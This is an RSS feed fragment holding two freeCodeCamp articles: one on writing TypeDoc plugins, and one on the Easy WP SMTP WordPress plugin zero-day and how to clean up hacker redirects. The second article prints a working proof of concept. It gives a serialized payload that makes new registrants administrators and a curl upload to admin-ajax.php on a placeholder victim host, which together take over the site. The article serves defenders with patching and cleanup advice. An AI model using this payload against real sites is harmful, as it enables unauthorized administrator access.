                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 11 Apr 2019 19:46:01 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*ZFveofx2WsPuiHo__izU1w.gif" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Alexander Kamenov</p>
<p>This topic aims to cover the basics on how you could extend the <strong>TypeDoc</strong> library functionality and what are the opportunities that it provides.</p>
<p>For those of you who are not familiar with <strong>TypeDoc</strong>, this is a library which allows you to generate an API documentation based on your comments from your <strong>TypeScript</strong> source code.</p>
<p>By default there are two possible outputs:</p>
<ul>
<li><em>Static website</em></li>
<li><em>JSON file.</em></li>
</ul>
<p>If you want to find more about configuration and terms of use please refer to the <a target="_blank" href="https://github.com/TypeStrong/typedoc#typedoc"><strong>README</strong></a>.</p>
<h3 id="heading-the-problem-i-have-encountered">The problem I have encountered</h3>
<p>The lack of documentation is a really common scenario, and this was the problem we faced. As most of you probably know, debugging and digging into any kind of software with exploratory purposes takes time. That’s why I decided to contribute and share the knowledge I’ve gained during the development of a <a target="_blank" href="https://github.com/IgniteUI/typedoc-plugin-localization">plugin</a> which provides users with the ability to localize their documentation into multiple languages.</p>
<p>Good example here is the <a target="_blank" href="https://jp.infragistics.com/products/ignite-ui-angular/docs/typescript/latest/">Japanese API documentation</a> that <a target="_blank" href="https://github.com/IgniteUI/igniteui-angular">Ignite UI for Angular library</a> provides.</p>
<p>So I’m going to give a rough explanation of how <strong>TypeDoc</strong> works and what was the approach that was taken during the development of that plugin.</p>
<p>I won’t go much into detail about how the library works. Instead I will try to expose only the most important aspects of the execution flow which, in my opinion, are the base of the “tree” from where you can start exploring and diverting into different “branches”.</p>
<p>So without wasting more time, let’s move on to the essential part.</p>
<h3 id="heading-how-typedoc-works">How typedoc works.</h3>
<h4 id="heading-several-componentsclasses-you-need-to-know-about">Several components/classes you need to know about:</h4>
<ul>
<li><a target="_blank" href="https://typedoc.org/api/classes/application.html">Application</a><strong>:</strong><br>The default main application <strong>class</strong>.</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/options.html">Options</a>:<br>Aggregates and contributes configuration declarations, declared by components or plugins. Parses <strong>option</strong> values from various sources (config file, command-line, args, etc.)</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/converter.html">Converter</a>:<br>Compiles source files using <strong>TypeScript</strong> and converts compiler symbols to reflections.</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/projectreflection.html">ProjectReflection</a>:<br>A reflection that represents the <strong>root</strong> of the <strong>project</strong>.<br>The project <strong>reflection</strong> acts as a global index. You may receive all reflections and source files of the processed project through this <strong>reflection</strong>.</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/renderer.html">Renderer</a>:<br>The <strong>renderer</strong> processes is a representation of <a target="_blank" href="https://typedoc.org/api/classes/projectreflection.html">ProjectReflection</a>, using a <strong>BaseTheme</strong> instance and writes the emitted html documents to an output directory.<br>Simply, the <strong>renderer</strong> is used for generating the documentation output.</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/eventdispatcher.html">EventDispatcher</a>:<br>A class that provides a custom event channel.<br>You may bind a callback to an event with ‘on’ or remove with ‘off’.</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/logger.html">Logger</a>:<br>The logger provides you with the ability to log without interruption any kind of errors or messages like success, warn, log, verbose, etc.</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/pluginhost.html">PluginHost</a>:<br>Responsible for discovering and loading plugins.</li>
</ul>
<h3 id="heading-typedoc-execution-flow">Typedoc Execution Flow:</h3>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0*xdTMvvjTlHlIwg44" alt="Image" width="800" height="1046" loading="lazy"></p>
<ul>
<li><p>Application tries to load all <strong>TypeDoc</strong> plugins by searching for <strong>‘typedocplugin’</strong> keyword declared into your <strong>package.json</strong> file.</p>
</li>
<li><p><a target="_blank" href="https://typedoc.org/api/classes/converter.html">Converter</a><strong>:</strong> Using <strong>TypeScript API</strong> in order to compile the referred project. If any compile errors are detected in the project, the convert process ends with the error that has been encountered.<br>From the above diagram you can see that during the <strong>Resolve Reflections</strong> process, which comes right after the compilation process, the <a target="_blank" href="https://typedoc.org/api/classes/eventdispatcher.html">EventDispatcher</a> emits several events which are a good prerequisite for manipulating or retrieving data.<br>Once the conversion process ends we receive a <a target="_blank" href="https://typedoc.org/api/classes/projectreflection.html">ProjectReflection</a> object which represents the project itself with all files and their comments.</p>
</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/options.html">Options</a><strong>:</strong> Determines what would be the output of your documentation based on the <a target="_blank" href="https://github.com/TypeStrong/typedoc#arguments">options</a> you have passed<strong>.</strong> There are two variants:  <ol>
<li><strong>JSON file</strong>: Represents a <strong>stringified</strong> version of <a target="_blank" href="https://typedoc.org/api/classes/projectreflection.html">ProjectReflection</a> object. This is what the <a target="_blank" href="https://typedoc.org/api/classes/serializer.html">Serialization</a> does  </li>
<li><strong>Static HTML</strong> website.</li>
</ol>
</li>
<li><a target="_blank" href="https://typedoc.org/api/classes/renderer.html">Renderer</a><strong>:</strong> At first the <strong>renderer</strong> needs to ensure that the <strong>Theme</strong> that corresponds to the <strong>output static website</strong> and the <strong>output directory</strong>, are set up correctly. If everything is fine, the <strong>renderer</strong> starts mapping the <strong>Reflections</strong> with the <strong>Templates</strong> from the <strong>Theme</strong>.<br>Here the <a target="_blank" href="https://typedoc.org/api/classes/rendererevent.html">RendererEvent</a> emits two events <a target="_blank" href="https://typedoc.org/api/classes/rendererevent.html#begin">BeginRenderer</a>/<a target="_blank" href="https://typedoc.org/api/classes/rendererevent.html#end">EndRenderer</a> suitable for manipulating the output data.</li>
<li><strong>Finish Rendering</strong>: This is where the process ends and the output of generated documentation is provided.</li>
</ul>
<p>After that rough explanation and visualization of the execution flow we are ready to move on and see how to actually proceed with the <strong>extensibility</strong>.</p>
<h3 id="heading-extending-typedoc">Extending typedoc</h3>
<h4 id="heading-set-up-the-project">Set up the project:</h4>
<p>The very first step we need to take is setting up a <a target="_blank" href="https://www.wolfe.id.au/2014/02/01/getting-a-new-node-project-started-with-npm/">node project with npm</a>.</p>
<p>Declare that <strong>keyword <code>typedocplugin</code></strong> into your <strong>package.json:</strong></p>
<p>Then we need to <a target="_blank" href="https://nodejs.org/api/modules.html#modules_exports">export a module</a> which would serve as an entry point of the project. How does <strong>TypeDoc</strong> load the plugins? It simply searches through all <strong>node_modules</strong> packages and their <strong>package.json</strong> file, and when that <strong>keyword</strong> is encountered it <a target="_blank" href="https://nodejs.org/api/modules.html#modules_require_id">requires</a> that package and executes it as a function by passing a reference to the main <strong>Application</strong> class.</p>
<p>Once all those steps are performed we have the freedom to manipulate the execution process and the output data as we want <strong>?.</strong></p>
<h3 id="heading-approaches-and-examples">Approaches and examples</h3>
<p>As I mentioned earlier, all the knowledge I share in this article was gained during the development of a <a target="_blank" href="https://github.com/IgniteUI/typedoc-plugin-localization">localization plugin</a>, which I firmly believe takes full advantage of what <strong>TypeDoc</strong> offers as an opportunity to extend. So all the examples and approaches below are inspired by the idea and the source of that “<strong>creature</strong>”.</p>
<p>In order to understand how it works, you can go through the <a target="_blank" href="https://github.com/IgniteUI/typedoc-plugin-localization#typedoc-plugin-localization">README</a> file. It is enough to understand the first 3 steps.</p>
<p>Let’s start with the <strong>main module (</strong><a target="_blank" href="https://github.com/IgniteUI/typedoc-plugin-localization/blob/master/index.ts">index.ts</a><strong>)</strong> file which <strong>typedoc</strong> executes once it requires the <strong>plugin.</strong> As we already know, a reference to the default <strong>Application</strong> class is passed through the <strong>require</strong> callback, where you have access to all those main components we have talked about in the <strong>How TypeDoc works</strong> section.</p>
<p>Through all those component references you are able to register your own custom components, and depending on what they extend, a different set of events are provided.</p>
<p>Sometimes just a theory is insufficient, so let’s move on and see how things happen in practice.</p>
<p>Here are the four most important things that we are going to review:</p>
<ul>
<li><em>Register our own options.</em></li>
<li><em>Manipulating or retrieving the data during the conversion process.</em></li>
<li><em>Manipulating or retrieving the data during the <strong>renderer</strong> process.</em></li>
</ul>
<h4 id="heading-register-our-own-option">Register our own option.</h4>
<p>As we already know, all of the component registrations happen in the <strong>main module</strong>. The important part here is that, in order to register a component within the <a target="_blank" href="https://typedoc.org/api/classes/options.html">options</a> context, you need to <strong>extend</strong> the <a target="_blank" href="https://typedoc.org/api/classes/optionscomponent.html">OptionsComponent</a> class.</p>
<p>The custom definition of the <a target="_blank" href="https://github.com/IgniteUI/typedoc-plugin-localization/blob/master/components/options-component.ts">OptionComponent</a> looks like this:</p>
<p>At the end you need to add that declaration into the options that the application provides.</p>
<p>You can refer to the <a target="_blank" href="https://github.com/IgniteUI/typedoc-plugin-localization#arguments">README</a> of the extension/plugin we are talking about and see what kind of options are exposed and how they contribute to the process.</p>
<h4 id="heading-manipulating-or-retrieving-the-data-during-the-conversion-process">Manipulating or retrieving the data during the conversion process</h4>
<p>The registration process here is the same, but instead of extending <a target="_blank" href="https://typedoc.org/api/classes/optionscomponent.html">OptionsComponent</a> you need to extend <a target="_blank" href="https://typedoc.org/api/classes/convertercomponent.html">ConverterComponent</a>.</p>
<p>As you probably understood, the way we interact with the data is through the <strong>events</strong> that the <a target="_blank" href="https://typedoc.org/api/classes/eventdispatcher.html">EventDispatcher</a> <strong>emits</strong>. So all the <strong>events</strong> that you can subscribe for within that context can be found and accessed through the <a target="_blank" href="https://typedoc.org/api/classes/converter.html"><strong>Converter</strong></a>.</p>
<p>We will take a look within the context of the <a target="_blank" href="https://typedoc.org/api/classes/converter.html#event_resolve">EVENT_RESOLVE</a> <strong>event</strong> callback. The event gets triggered every time when <strong>TypeDoc</strong> resolves a <strong>Class</strong>, <strong>Interface</strong> or <strong>Enum</strong> or (<strong>method</strong>, <strong>property</strong>, <strong>etc.</strong>) part of a particular <strong>Class</strong>, <strong>Interface</strong> or <strong>Enum</strong>. Wait what?</p>
<p>Okay It’s a bit of confusing, but the concept is as simple as iterating an array.</p>
<p>Let’s take an example of a simple class.</p>
<p>The event will emit four times referencing each unit per this declaration, transformed in <a target="_blank" href="https://typedoc.org/api/classes/declarationreflection.html">DeclarationReflection</a>:</p>
<ol>
<li><strong><em>Emits</em></strong> <em>the class with reference to all his <a target="_blank" href="https://typedoc.org/api/classes/declarationreflection.html#children">children</a> (<strong>b</strong>, <strong>c, d</strong>).</em></li>
<li><strong><em>Emits</em></strong> <em>the property <strong>b</strong> with reference to his <a target="_blank" href="https://typedoc.org/api/classes/declarationreflection.html#parent">parent</a> (class <strong>A</strong>).</em></li>
<li><strong><em>Emits</em></strong> <em>the property <strong>c</strong> with reference to his <a target="_blank" href="https://typedoc.org/api/classes/declarationreflection.html#parent">parent</a></em> (class <strong>A</strong>).</li>
<li><strong><em>Emits</em></strong> <em>the method <strong>d</strong> with reference to his <a target="_blank" href="https://typedoc.org/api/classes/declarationreflection.html#parent">parent</a></em> (class <strong>A</strong>).</li>
</ol>
<p>Hope everything is clearer now!</p>
<p>Let’s see how we can subscribe for the emitted events:</p>
<p>Then in the <strong>resolve callback</strong> you can see how the comments per every <strong>Class</strong>, <strong>Enum</strong> and <strong>Interface</strong> are taken and stored into a <strong>JSON</strong> file which represents each unit (<strong>Class</strong>, <strong>Enum</strong>, <strong>Interface</strong>) separately. For instance if we have two classes <strong>A</strong> and <strong>B,</strong> the output folder would contain two <strong>JSON</strong> files <strong>A.json</strong> and <strong>B.json</strong>.</p>
<p>The next example represents the moment where the comments per every <strong>getter</strong> and <strong>setter</strong> are retrieved which is the next unit of the <strong>Class</strong> declaration we talked about a little earlier.</p>
<p>These are just examples, of course — you can do whatever you want here.</p>
<h4 id="heading-manipulating-or-retrieving-the-data-during-the-renderer-process">Manipulating or retrieving the data during the Renderer process</h4>
<p>Here we have the same concept as the <strong>Convert</strong>, but of course we need to extend another class. Guess what — the name of the class is <a target="_blank" href="https://typedoc.org/api/classes/renderercomponent.html">RendererComponent</a>, and the object that holds the event references is <a target="_blank" href="https://typedoc.org/api/classes/rendererevent.html">RendererEvent</a>.</p>
<p>The variety of the events is less than the <a target="_blank" href="https://typedoc.org/api/classes/converter.html">Converter</a> but the information that the events provide is more than enough.</p>
<p>Subscription is the same:</p>
<p>Here, the behavior of the <a target="_blank" href="https://typedoc.org/api/classes/rendererevent.html#begin">RendererEvent.BEGIN</a> event is a bit different. It gets triggered just once when the <strong>Renderer</strong> process has just started. Then all of the <strong>reflections</strong> that the <strong>Converter</strong> has created are taken, and with the “<strong>power</strong>” of the <strong>forEach</strong> we are going through each <a target="_blank" href="https://typedoc.org/api/classes/declarationreflection.html">DeclarationReflection</a> and processing it:</p>
<p>What does the process do? It just takes the location of the <strong>JSON</strong> files that the <strong>Converter</strong> has built and replaces the content from those <strong>JSONs</strong> with the content in the reflection.</p>
<p>The example here again refers the manipulation of the <strong>getters</strong> and <strong>setters</strong> per current <strong>Class</strong>:</p>
<p>Of course again here you can improvise and do whatever you need.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>This is probably only one third of what the plugin does. There is much more that I can show and expose as functionality. For example how we came up with a solution for manipulating the <strong>hardcoded strings</strong> within our custom <a target="_blank" href="https://github.com/IgniteUI/igniteui-angular/tree/master/extras/docs/themes/typedoc">theme</a>. But the purpose of this blog is focused on the <strong>extensibility</strong> and <strong>manipulation</strong> of the <strong>data</strong>. So if you have further questions or interests you can let me know in the comments below.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to remove WordPress redirects by hackers — a look at the Easy WP SMTP plugin vulnerability ]]>
                </title>
                <description>
                    <![CDATA[ By Atman Rathod I believe you would be offended if you found your website redirecting to a spam website, wouldn’t you? Alas! And you would even feel more snubbed if you had taken every preventive measure for your WordPress website. True? In this digi... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-remove-the-wordpress-redirects-by-hackers-easy-wp-smtp-plugin-vulnerability-41dc56f9b3aa/</link>
                <guid isPermaLink="false">66c3541c34522738ad7bf6c8</guid>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ WordPress ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 29 Mar 2019 09:20:05 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*SVmWJnlcDFFXomV7DfSQlA.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Atman Rathod</p>
<p>I believe you would be offended if you found your website redirecting to a spam website, wouldn’t you? Alas! And you would even feel more snubbed if you had taken every preventive measure for your <a target="_blank" href="https://www.cmarix.com/website-monks-reveals-why-wordpress-is-best-cms-web-development/">WordPress website</a>. True? In this digital world, 30,000 websites are hacked daily and today might be your day. Thus, it becomes imperative to find a solution for the day of the attack.</p>
<p>To start with, you need to identify how the attacker was able to insert malicious code so that the website redirects to a phishing or malware website and grabs the traffic. Recently, when we faced the same issue we found that the hacker got access through the WP SMTP plugin.</p>
<p>The well-known Easy WP SMTP plugin that has 300k monthly active installations is prone to a zero-day vulnerability. It has given rights to an unknown user to access and modify the WordPress settings.</p>
<blockquote>
<p>“Almost 30% of online websites are developed in WordPress, making it the best content management system. However, if we look at the popularity shadow then it becomes the first choice for hackers.”</p>
</blockquote>
<p>The Easy WP SMTP plugin is gaining popularity due to the <a target="_blank" href="https://en.wikipedia.org/wiki/Zero-day_(computing)">zero-day (0-day)</a> <a target="_blank" href="https://db.threatpress.com/vulnerability/easy-wp-smtp/wordpress-easy-wp-smtp-plugin-1-3-9-unauthenticated-arbitrary-wp-options-import-vulnerability">vulnerability</a> unveiled recently. The plugin that has high download numbers has an even higher attack success rate. Prior to learning the solution, let’s learn about this plugin in detail.</p>
<h4 id="heading-easy-wp-smtp-plugin-zero-day-vulnerability"><strong>Easy WP SMTP Plugin Zero-Day Vulnerability</strong></h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/pY8-qc6eryh0jep4vi0kDLmltRcaNBdhXIlc" alt="Image" width="772" height="250" loading="lazy"></p>
<p>Easy WP SMTP came into existence to make the email sending process easy from your WordPress website. It was successful even with its purpose of sending mail through SMTP instead of native <a target="_blank" href="https://developer.wordpress.org/reference/functions/wp_mail/">wp_mail()</a> function.</p>
<p>Like other WordPress plugins, the Easy WP SMTP plugin has its administration page which enables you to specify data required for SMTP configuration. Along with this, there is a function to import and export settings, and that’s where the hacker can easily get in.</p>
<p>Other than this, there are several more attack vectors that lead the attacker to the administrator level or to a <a target="_blank" href="https://blog.threatpress.com/check-sensitive-information-leakage/">sensitive data leak</a> like SMTP credentials.</p>
<p>Consider the following code:</p>
<pre><code>add_action( <span class="hljs-string">'admin_init'</span>, array( $this, <span class="hljs-string">'admin_init'</span> ) );......function admin_init() { <span class="hljs-keyword">if</span> ( defined( <span class="hljs-string">'DOING_AJAX'</span> ) &amp;&amp; DOING_AJAX ) {   add_action( <span class="hljs-string">'wp_ajax_swpsmtp_clear_log'</span>, array( $this, <span class="hljs-string">'clear_log'</span> ) );   add_action( <span class="hljs-string">'wp_ajax_swpsmtp_self_destruct'</span>, array( $this, <span class="hljs-string">'self_destruct_handler'</span> ) ); }
</code></pre><pre><code><span class="hljs-comment">//view log file if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {     if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {  $log_file_name = $this-&gt;opts[ 'smtp_settings' ][ 'log_file_name' ];  if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {      if ( $this-&gt;log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {   wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );      };  }  $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );  if ( ! $logfile ) {      wp_die( 'Can\'t open log file.' );  }  header( 'Content-Type: text/plain' );  fpassthru( $logfile );  die;     } }</span>
</code></pre><pre><code><span class="hljs-comment">//check if this is export settings request $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT ); if ( $is_export_settings ) {     $data      = array();     $opts      = get_option( 'swpsmtp_options', array() );     $data[ 'swpsmtp_options' ]   = $opts;     $swpsmtp_pass_encrypted    = get_option( 'swpsmtp_pass_encrypted', false );     $data[ 'swpsmtp_pass_encrypted' ]  = $swpsmtp_pass_encrypted;     if ( $swpsmtp_pass_encrypted ) {  $swpsmtp_enc_key   = get_option( 'swpsmtp_enc_key', false );  $data[ 'swpsmtp_enc_key' ]  = $swpsmtp_enc_key;     }     $smtp_test_mail    = get_option( 'smtp_test_mail', array() );     $data[ 'smtp_test_mail' ]  = $smtp_test_mail;     $out     = array();     $out[ 'data' ]    = serialize( $data );     $out[ 'ver' ]    = 1;     $out[ 'checksum' ]   = md5( $out[ 'data' ] );</span>
</code></pre><pre><code>$filename = <span class="hljs-string">'easy_wp_smtp_settings.txt'</span>;     header( <span class="hljs-string">'Content-Disposition: attachment; filename="'</span> . $filename . <span class="hljs-string">'"'</span> );     header( <span class="hljs-string">'Content-Type: text/plain'</span> );     echo serialize( $out );     exit; }
</code></pre><pre><code>$is_import_settings = filter_input( INPUT_POST, <span class="hljs-string">'swpsmtp_import_settings'</span>, FILTER_SANITIZE_NUMBER_INT ); <span class="hljs-keyword">if</span> ( $is_import_settings ) {   $err_msg = __( <span class="hljs-string">'Error occurred during settings import'</span>, <span class="hljs-string">'easy-wp-smtp'</span> );   <span class="hljs-keyword">if</span> ( empty( $_FILES[ <span class="hljs-string">'swpsmtp_import_settings_file'</span> ] ) ) {   echo $err_msg;   wp_die();  }  $in_raw = file_get_contents( $_FILES[ <span class="hljs-string">'swpsmtp_import_settings_file'</span> ][ <span class="hljs-string">'tmp_name'</span> ] );  <span class="hljs-keyword">try</span> {   $in = unserialize( $in_raw );   <span class="hljs-keyword">if</span> ( empty( $in[ <span class="hljs-string">'data'</span> ] ) ) {     echo $err_msg;     wp_die();   }   <span class="hljs-keyword">if</span> ( empty( $in[ <span class="hljs-string">'checksum'</span> ] ) ) {     echo $err_msg;     wp_die();   }   <span class="hljs-keyword">if</span> ( md5( $in[ <span class="hljs-string">'data'</span> ] ) !== $in[ <span class="hljs-string">'checksum'</span> ] ) {     echo $err_msg;     wp_die();   }   $data = unserialize( $in[ <span class="hljs-string">'data'</span> ] );   foreach ( $data <span class="hljs-keyword">as</span> $key =&gt; $value ) {     update_option( $key, $value );   }   set_transient( <span class="hljs-string">'easy_wp_smtp_settings_import_success'</span>, <span class="hljs-literal">true</span>, <span class="hljs-number">60</span> * <span class="hljs-number">60</span> );   $url = admin_url() . <span class="hljs-string">'options-general.php?page=swpsmtp_settings'</span>;   wp_safe_redirect( $url );   exit;  } <span class="hljs-keyword">catch</span> ( Exception $ex ) {   echo $err_msg;   wp_die();  } }}
</code></pre><p>When the user wants to enter the admin area, the function admin_init() in the script easy-wp-smtp.php is called via the admin_init hook. This helps the admin to edit each and every function, from adding or deleting the log to importing or exporting the plugin configuration in the WordPress database.</p>
<p>When you call the function it does not check the user capability and therefore any logged-in user can trigger it. The limitation here is that it can be implemented by any unauthenticated users, as the Easy WP SMTP is built using AJAX and admin_init hook can also be implemented on admin-ajax.php as described in the WordPress API docs.</p>
<p>So now an unauthenticated user can easily send an AJAX request, for example action=swpsmtp_clear_log, to call the above function and run the code.</p>
<p>Therefore, to safeguard your website, we recommend that you always update the Easy WP SMTP plugin to the <a target="_blank" href="https://wordpress.org/plugins/easy-wp-smtp/">latest version available</a>.</p>
<h4 id="heading-note-the-proof-of-concept"><strong>Note The Proof Of Concept</strong></h4>
<p>The following two-step proof of concept allows you to create a user ID where you can get access to admin and make the changes to remove the malware code. In short, it allows you to take complete control over the website.</p>
<p>Here, you need to use swpsmtp_import_settings in order to upload a file that has a malicious serialized payload. This file helps the user register and set the default role to “administrator” in the database.</p>
<p><strong>1. Create a file with name “/tmp/upload.txt” and add this content to it:</strong></p>
<pre><code>a:<span class="hljs-number">2</span>:{<span class="hljs-attr">s</span>:<span class="hljs-number">4</span>:”data”;s:<span class="hljs-number">81</span>:”a:<span class="hljs-number">2</span>:{<span class="hljs-attr">s</span>:<span class="hljs-number">18</span>:”users_can_register”;s:<span class="hljs-number">1</span>:”<span class="hljs-number">1</span><span class="hljs-string">";s:12:”default_role”;s:13:”administrator”;}”;s:8:”checksum”;s:32:”3ce5fb6d7b1dbd6252f4b5b3526650c8"</span>;}
</code></pre><p><strong>2. Upload the file:</strong></p>
<pre><code>$ curl https:<span class="hljs-comment">//VICTIM.COM/wp-admin/admin-ajax.php -F ‘action=swpsmtp_clear_log’ -F ‘swpsmtp_import_settings=1’ -F ‘swpsmtp_import_settings_file=@/tmp/upload.txt’</span>
</code></pre><p><strong>Other details you need to pay attention to:</strong></p>
<ul>
<li>Take care of Remote Code Execution via PHP Object Injection, as Easy WP SMTP runs using unsafe unserialize() calls.</li>
<li>Mark on different logs as the hacker can change the log filename.</li>
<li>By exporting the plugin configuration that includes SMTP host, username, and password, the hacker can use it to send spam emails.</li>
</ul>
<h4 id="heading-steps-to-remove-malware-wordpress-redirects"><strong>Steps To Remove Malware WordPress Redirects</strong></h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/emHZv0hE0Qgnu-arznDXKGFsDSxccoxKE98u" alt="Image" width="800" height="420" loading="lazy"></p>
<ul>
<li>Change passwords and check registered users</li>
<li>Find and remove the unwanted plugins and themes from the website</li>
<li>Check the website completely with appropriate tools</li>
<li>Find the right WordPress plugin to scan your website files</li>
<li>Thoroughly check all the impacted files</li>
<li>Reinstall your WordPress files, plugins, and themes</li>
<li>Resubmit the website to Google</li>
</ul>
<h4 id="heading-other-important-recommendations"><strong>Other Important Recommendations</strong></h4>
<p>If you are using the old version of Easy WP SMTP plugin, check the following things:</p>
<ul>
<li>Check the Settings Page and ensure nothing is flawed from URL to User default role.</li>
<li>Check for new Admin accounts, email addresses and more.</li>
<li>Change all passwords</li>
<li>Change your SMTP password too, as the hackers may now have the password.</li>
<li>Install a web application firewall for better security.</li>
<li>Ensure you don’t install plugins or themes that are not known</li>
<li>Update all your themes and plugins monthly</li>
<li>Make sure the installation of WordPress is regularly backed up</li>
<li>If required, change the web host to one that has better <a target="_blank" href="http://www.cmarix.com/how-to-optimize-security-of-wordpress-website/">WordPress security</a>.</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
